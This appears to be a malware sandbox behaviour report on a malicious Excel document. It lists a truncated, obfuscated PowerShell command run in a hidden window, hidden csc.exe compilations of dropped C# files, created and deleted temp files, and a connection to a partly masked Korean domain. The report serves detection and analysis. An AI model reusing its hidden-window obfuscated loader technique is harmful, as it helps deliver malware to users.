Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function y6dffc4 {param($fa73d)$pd3a79='ga8976';$x1f978b='';for ($i=0; $i -lt $fa73d.length;$i+=2){$n52926=[convert]::ToByte($fa73d.Substring($i,2),16);$x1f978b+=[char]($n...
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{3fe6d6c4-642a-4433-adca-1b7beba2d7b7}.tmp
- %TEMP%\1ve8e46x.dll
- %TEMP%\81i8tb8m.dll
- %TEMP%\res315.tmp
- %TEMP%\res269.tmp
- %TEMP%\res1ad.tmp
- %TEMP%\res121.tmp
- %TEMP%\45x_wjcx.dll
- %TEMP%\resd3.tmp
- %TEMP%\csc304.tmp
- %TEMP%\csc258.tmp
- %TEMP%\csc1ac.tmp
- %TEMP%\csc120.tmp
- %TEMP%\cscc2.tmp
- %TEMP%\zcwpqxow.dll
- %TEMP%\81i8tb8m.out
- %TEMP%\81i8tb8m.0.cs
- %TEMP%\zcwpqxow.out
- %TEMP%\zcwpqxow.cmdline
- %TEMP%\zcwpqxow.0.cs
- %TEMP%\9tuqqmlt.out
- %TEMP%\9tuqqmlt.cmdline
- %TEMP%\9tuqqmlt.0.cs
- %TEMP%\45x_wjcx.out
- %TEMP%\45x_wjcx.cmdline
- %TEMP%\45x_wjcx.0.cs
- %TEMP%\1ve8e46x.out
- %TEMP%\1ve8e46x.cmdline
- %TEMP%\1ve8e46x.0.cs
- %TEMP%\81i8tb8m.cmdline
- %TEMP%\9tuqqmlt.dll
Deletes the following files
- %TEMP%\resd3.tmp
- %TEMP%\81i8tb8m.pdb
- %TEMP%\zcwpqxow.pdb
- %TEMP%\zcwpqxow.cmdline
- %TEMP%\zcwpqxow.out
- %TEMP%\zcwpqxow.dll
- %TEMP%\zcwpqxow.0.cs
- %TEMP%\9tuqqmlt.out
- %TEMP%\45x_wjcx.dll
- %TEMP%\9tuqqmlt.dll
- %TEMP%\9tuqqmlt.pdb
- %TEMP%\9tuqqmlt.cmdline
- %TEMP%\45x_wjcx.pdb
- %TEMP%\45x_wjcx.cmdline
- %TEMP%\45x_wjcx.0.cs
- %TEMP%\81i8tb8m.out
- %TEMP%\9tuqqmlt.0.cs
- %TEMP%\81i8tb8m.dll
- %TEMP%\csc258.tmp
- %TEMP%\cscc2.tmp
- %TEMP%\res121.tmp
- %TEMP%\csc120.tmp
- %TEMP%\res1ad.tmp
- %TEMP%\csc1ac.tmp
- %TEMP%\res269.tmp
- %TEMP%\res315.tmp
- %TEMP%\81i8tb8m.0.cs
- %TEMP%\csc304.tmp
- %TEMP%\1ve8e46x.out
- %TEMP%\1ve8e46x.0.cs
- %TEMP%\1ve8e46x.cmdline
- %TEMP%\1ve8e46x.dll
- %TEMP%\1ve8e46x.pdb
- %TEMP%\81i8tb8m.cmdline
- %TEMP%\45x_wjcx.out
Network activity
Connects to
- 'al####brag.co.kr':443
UDP
- DNS ASK al####brag.co.kr
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function y6dffc4 {param($fa73d)$pd3a79='ga8976';$x1f978b='';for ($i=0; $i -lt $fa73d.length;$i+=2){$n52926=[convert]::ToByte($fa73d.Substring($i,2),16);$x1f978b+=[char]($n...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\1ve8e46x.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\45x_wjcx.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\9tuqqmlt.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zcwpqxow.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\81i8tb8m.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD3.tmp" "%TEMP%\CSCC2.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES121.tmp" "%TEMP%\CSC120.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1AD.tmp" "%TEMP%\CSC1AC.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES269.tmp" "%TEMP%\CSC258.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES315.tmp" "%TEMP%\CSC304.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\1ve8e46x.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\45x_wjcx.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\9tuqqmlt.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zcwpqxow.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\81i8tb8m.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD3.tmp" "%TEMP%\CSCC2.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES121.tmp" "%TEMP%\CSC120.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1AD.tmp" "%TEMP%\CSC1AC.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES269.tmp" "%TEMP%\CSC258.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES315.tmp" "%TEMP%\CSC304.tmp"
